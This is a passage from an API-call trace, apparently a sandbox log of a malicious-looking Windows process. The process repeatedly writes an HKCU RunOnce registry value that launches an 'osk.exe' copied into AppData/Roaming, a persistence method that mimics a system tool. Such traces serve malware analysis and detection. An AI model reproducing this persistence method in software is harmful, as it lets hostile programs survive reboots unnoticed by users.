dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95df10, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.067] _mbsnbcmp (_Str1=0x95df10, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.068] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95deec, lpdwDisposition=0x0 | out: phkResult=0x95deec*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95dee0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.068] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.068] RegCloseKey (hKey=0x14c) returned 0x0 [0255.068] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdfe28c | out: lpSystemTimeAsFileTime=0xdfe28c*(dwLowDateTime=0xb2b07b7b, dwHighDateTime=0x1d4f110)) [0255.068] GetTickCount () returned 0x3f127 [0255.068] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdfe294 | out: lpSystemTimeAsFileTime=0xdfe294*(dwLowDateTime=0xb2b07b7b, dwHighDateTime=0x1d4f110)) [0255.068] GetCurrentThreadId () returned 0xe38 [0255.069] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.069] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.078] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.078] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.078] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.079] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdfe28c | out: lpSystemTimeAsFileTime=0xdfe28c*(dwLowDateTime=0xb2b2d83b, dwHighDateTime=0x1d4f110)) [0255.079] GetTickCount () returned 0x3f137 [0255.079] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e930*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95e98c | out: rgDispId=0x95e98c*=10012) returned 0x0 [0255.079] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240590 | out: ppvObject=0x6240590*=0x0) returned 0x80004002 [0255.079] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0xa [0255.079] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ea1c | out: ppvObject=0x95ea1c*=0x0) returned 0x80004002 [0255.080] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0xb [0255.080] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0, pExcepInfo=0x95e99c, puArgErr=0x95e874 | out: pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95e99c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x624a510) returned 0x0 [0255.080] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0xa [0255.080] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95e8d0 | out: ppvObject=0x95e8d0*=0x0) returned 0x80004002 [0255.080] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95e8c8 | out: ppvObject=0x95e8c8*=0x0) returned 0x80004002 [0255.080] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95e8dc | out: ppvObject=0x95e8dc*=0x5499ce4) returned 0x0 [0255.080] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95e864 | out: ppvObject=0x95e864*=0x0) returned 0x80004002 [0255.081] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x62405b0 | out: ppvObject=0x62405b0*=0x0) returned 0x80004002 [0255.081] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0xb [0255.081] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0xa [0255.081] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e960*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95e9bc | out: rgDispId=0x95e9bc*=0) returned 0x0 [0255.081] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0xa [0255.081] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968, pExcepInfo=0x95e988, puArgErr=0x95e874 | out: pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95e988*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x62405c0) returned 0x0 [0255.082] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x9 [0255.082] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95df10, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.083] _mbsnbcmp (_Str1=0x95df10, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.083] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95deec, lpdwDisposition=0x0 | out: phkResult=0x95deec*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95dee0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.083] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.083] RegCloseKey (hKey=0x14c) returned 0x0 [0255.083] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.084] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.094] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.094] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.094] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.095] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e930*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95e98c | out: rgDispId=0x95e98c*=10012) returned 0x0 [0255.095] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240610 | out: ppvObject=0x6240610*=0x0) returned 0x80004002 [0255.095] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0xb [0255.095] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ea1c | out: ppvObject=0x95ea1c*=0x0) returned 0x80004002 [0255.095] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0xc [0255.095] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0, pExcepInfo=0x95e99c, puArgErr=0x95e874 | out: pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95e99c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x624a570) returned 0x0 [0255.095] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0xb [0255.095] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95e8d0 | out: ppvObject=0x95e8d0*=0x0) returned 0x80004002 [0255.095] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95e8c8 | out: ppvObject=0x95e8c8*=0x0) returned 0x80004002 [0255.096] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95e8dc | out: ppvObject=0x95e8dc*=0x5499ce4) returned 0x0 [0255.096] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95e864 | out: ppvObject=0x95e864*=0x0) returned 0x80004002 [0255.096] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240630 | out: ppvObject=0x6240630*=0x0) returned 0x80004002 [0255.096] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0xc [0255.096] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0xb [0255.096] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e960*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95e9bc | out: rgDispId=0x95e9bc*=0) returned 0x0 [0255.096] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0xb [0255.096] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968, pExcepInfo=0x95e988, puArgErr=0x95e874 | out: pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95e988*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x6240640) returned 0x0 [0255.097] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0xa [0255.097] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95df10, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.098] _mbsnbcmp (_Str1=0x95df10, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.098] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95deec, lpdwDisposition=0x0 | out: phkResult=0x95deec*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95dee0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.098] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.098] RegCloseKey (hKey=0x14c) returned 0x0 [0255.098] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.099] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.175] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.175] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.175] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.175] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e930*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95e98c | out: rgDispId=0x95e98c*=10012) returned 0x0 [0255.175] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240690 | out: ppvObject=0x6240690*=0x0) returned 0x80004002 [0255.175] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0xc [0255.176] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ea1c | out: ppvObject=0x95ea1c*=0x0) returned 0x80004002 [0255.176] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0xd [0255.176] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0, pExcepInfo=0x95e99c, puArgErr=0x95e874 | out: pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95e99c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x624a5d0) returned 0x0 [0255.176] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0xc [0255.176] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95e8d0 | out: ppvObject=0x95e8d0*=0x0) returned 0x80004002 [0255.176] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95e8c8 | out: ppvObject=0x95e8c8*=0x0) returned 0x80004002 [0255.176] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95e8dc | out: ppvObject=0x95e8dc*=0x5499ce4) returned 0x0 [0255.176] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95e864 | out: ppvObject=0x95e864*=0x0) returned 0x80004002 [0255.177] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x62406b0 | out: ppvObject=0x62406b0*=0x0) returned 0x80004002 [0255.177] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0xd [0255.177] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0xc [0255.177] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e960*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95e9bc | out: rgDispId=0x95e9bc*=0) returned 0x0 [0255.177] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0xc [0255.177] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968, pExcepInfo=0x95e988, puArgErr=0x95e874 | out: pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95e988*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, 